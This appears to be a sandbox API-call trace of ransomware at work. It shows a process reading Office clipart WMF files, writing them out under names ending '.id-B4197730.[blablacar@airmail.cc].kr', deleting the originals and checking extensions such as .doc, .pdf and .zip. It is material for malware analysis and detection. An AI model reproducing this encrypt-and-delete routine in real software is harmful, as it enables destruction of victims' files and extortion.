[0204.880] lstrlenW (lpString=".jpg") returned 4 [0204.880] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.880] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0204.880] lstrlenW (lpString="J0101980.WMF") returned 12 [0204.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0204.881] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=16104) returned 1 [0204.881] CloseHandle (hObject=0x518) returned 1 [0204.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0204.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0204.881] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.881] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0204.882] GetLastError () returned 0x0 [0204.882] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0205.025] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0205.026] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.026] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.026] SetEndOfFile (hFile=0x548) returned 1 [0205.026] CloseHandle (hObject=0x548) returned 1 [0205.027] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.027] SetEndOfFile (hFile=0x518) returned 1 [0205.277] CloseHandle (hObject=0x518) returned 1 [0205.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0205.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.279] lstrlenW (lpString=".doc") returned 4 [0205.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.279] lstrlenW (lpString=".docx") returned 5 [0205.279] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0205.279] lstrlenW (lpString=".pdf") returned 4 [0205.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.279] lstrlenW (lpString=".xls") returned 4 [0205.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.279] lstrlenW (lpString=".xlsx") returned 5 [0205.279] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0205.279] lstrlenW (lpString=".ppt") returned 4 [0205.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.279] lstrlenW (lpString=".zip") returned 4 [0205.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.279] lstrlenW (lpString=".rar") returned 4 [0205.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.279] lstrlenW (lpString=".bz2") returned 4 [0205.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.279] lstrlenW (lpString=".7z") returned 3 [0205.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.279] lstrlenW (lpString=".dbf") returned 4 [0205.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.280] lstrlenW (lpString=".1cd") returned 4 [0205.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.280] lstrlenW (lpString=".jpg") returned 4 [0205.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.280] lstrlenW (lpString=".doc") returned 4 [0205.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.280] lstrlenW (lpString=".docx") returned 5 [0205.280] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0205.280] lstrlenW (lpString=".pdf") returned 4 [0205.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.280] lstrlenW (lpString=".xls") returned 4 [0205.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.280] lstrlenW (lpString=".xlsx") returned 5 [0205.280] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0205.280] lstrlenW (lpString=".ppt") returned 4 [0205.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.280] lstrlenW (lpString=".zip") returned 4 [0205.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.280] lstrlenW (lpString=".rar") returned 4 [0205.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.280] lstrlenW (lpString=".bz2") returned 4 [0205.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.280] lstrlenW (lpString=".7z") returned 3 [0205.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.280] lstrlenW (lpString=".dbf") returned 4 [0205.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.281] lstrlenW (lpString=".1cd") returned 4 [0205.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0205.281] lstrlenW (lpString=".jpg") returned 4 [0205.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.281] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.281] lstrlenW (lpString="J0103402.WMF") returned 12 [0205.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0205.322] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=44948) returned 1 [0205.322] CloseHandle (hObject=0x518) returned 1 [0205.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0205.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0205.323] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.323] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0205.324] GetLastError () returned 0x0 [0205.324] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xaf94, lpOverlapped=0x0) returned 1 [0205.340] WriteFile (in: hFile=0x538, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xafa0, lpOverlapped=0x0) returned 1 [0205.342] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.342] WriteFile (in: hFile=0x538, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.342] SetEndOfFile (hFile=0x538) returned 1 [0205.347] CloseHandle (hObject=0x538) returned 1 [0205.358] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.358] SetEndOfFile (hFile=0x518) returned 1 [0205.417] CloseHandle (hObject=0x518) returned 1 [0205.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0205.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.418] lstrlenW (lpString=".doc") returned 4 [0205.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.418] lstrlenW (lpString=".docx") returned 5 [0205.418] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.418] lstrlenW (lpString=".pdf") returned 4 [0205.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.419] lstrlenW (lpString=".xls") returned 4 [0205.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.419] lstrlenW (lpString=".xlsx") returned 5 [0205.419] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.419] lstrlenW (lpString=".ppt") returned 4 [0205.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.419] lstrlenW (lpString=".zip") returned 4 [0205.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.419] lstrlenW (lpString=".rar") returned 4 [0205.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.419] lstrlenW (lpString=".bz2") returned 4 [0205.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.419] lstrlenW (lpString=".7z") returned 3 [0205.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.419] lstrlenW (lpString=".dbf") returned 4 [0205.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.419] lstrlenW (lpString=".1cd") returned 4 [0205.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.419] lstrlenW (lpString=".jpg") returned 4 [0205.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.419] lstrlenW (lpString=".doc") returned 4 [0205.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.419] lstrlenW (lpString=".docx") returned 5 [0205.419] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.419] lstrlenW (lpString=".pdf") returned 4 [0205.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.420] lstrlenW (lpString=".xls") returned 4 [0205.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.420] lstrlenW (lpString=".xlsx") returned 5 [0205.420] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.420] lstrlenW (lpString=".ppt") returned 4 [0205.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.420] lstrlenW (lpString=".zip") returned 4 [0205.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.420] lstrlenW (lpString=".rar") returned 4 [0205.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.420] lstrlenW (lpString=".bz2") returned 4 [0205.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.420] lstrlenW (lpString=".7z") returned 3 [0205.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.420] lstrlenW (lpString=".dbf") returned 4 [0205.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.420] lstrlenW (lpString=".1cd") returned 4 [0205.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0205.420] lstrlenW (lpString=".jpg") returned 4 [0205.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.420] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.420] lstrlenW (lpString="J0105230.WMF") returned 12 [0205.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0205.685] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=5172) returned 1 [0205.686] CloseHandle (hObject=0x4d8) returned 1 [0205.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220 [0205.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0205.686] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.686] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0205.784] GetLastError () returned 0x0 [0205.784] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1434, lpOverlapped=0x0) returned 1 [0205.789] WriteFile (in: hFile=0x36c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1440, lpOverlapped=0x0) returned 1 [0205.792] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.792] WriteFile (in: hFile=0x36c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.792] SetEndOfFile (hFile=0x36c) returned 1 [0205.793] CloseHandle (hObject=0x36c) returned 1 [0205.795] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.795] SetEndOfFile (hFile=0x4d8) returned 1 [0205.800] CloseHandle (hObject=0x4d8) returned 1 [0205.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1 [0205.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.809] lstrlenW (lpString=".doc") returned 4 [0205.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.809] lstrlenW (lpString=".docx") returned 5 [0205.809] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0205.809] lstrlenW (lpString=".pdf") returned 4 [0205.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.809] lstrlenW (lpString=".xls") returned 4 [0205.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.809] lstrlenW (lpString=".xlsx") returned 5 [0205.809] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0205.809] lstrlenW (lpString=".ppt") returned 4 [0205.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.809] lstrlenW (lpString=".zip") returned 4 [0205.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.810] lstrlenW (lpString=".rar") returned 4 [0205.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.810] lstrlenW (lpString=".bz2") returned 4 [0205.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.810] lstrlenW (lpString=".7z") returned 3 [0205.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.810] lstrlenW (lpString=".dbf") returned 4 [0205.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.810] lstrlenW (lpString=".1cd") returned 4 [0205.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.810] lstrlenW (lpString=".jpg") returned 4 [0205.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.810] lstrlenW (lpString=".doc") returned 4 [0205.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.810] lstrlenW (lpString=".docx") returned 5 [0205.810] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0205.810] lstrlenW (lpString=".pdf") returned 4 [0205.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.810] lstrlenW (lpString=".xls") returned 4 [0205.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.810] lstrlenW (lpString=".xlsx") returned 5 [0205.810] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0205.810] lstrlenW (lpString=".ppt") returned 4 [0205.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.810] lstrlenW (lpString=".zip") returned 4 [0205.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.811] lstrlenW (lpString=".rar") returned 4 [0205.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.811] lstrlenW (lpString=".bz2") returned 4 [0205.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.811] lstrlenW (lpString=".7z") returned 3 [0205.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.811] lstrlenW (lpString=".dbf") returned 4 [0205.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.811] lstrlenW (lpString=".1cd") returned 4 [0205.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0205.811] lstrlenW (lpString=".jpg") returned 4 [0205.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.811] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.811] lstrlenW (lpString="J0105266.WMF") returned 12 [0205.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.425] GetFileSizeEx 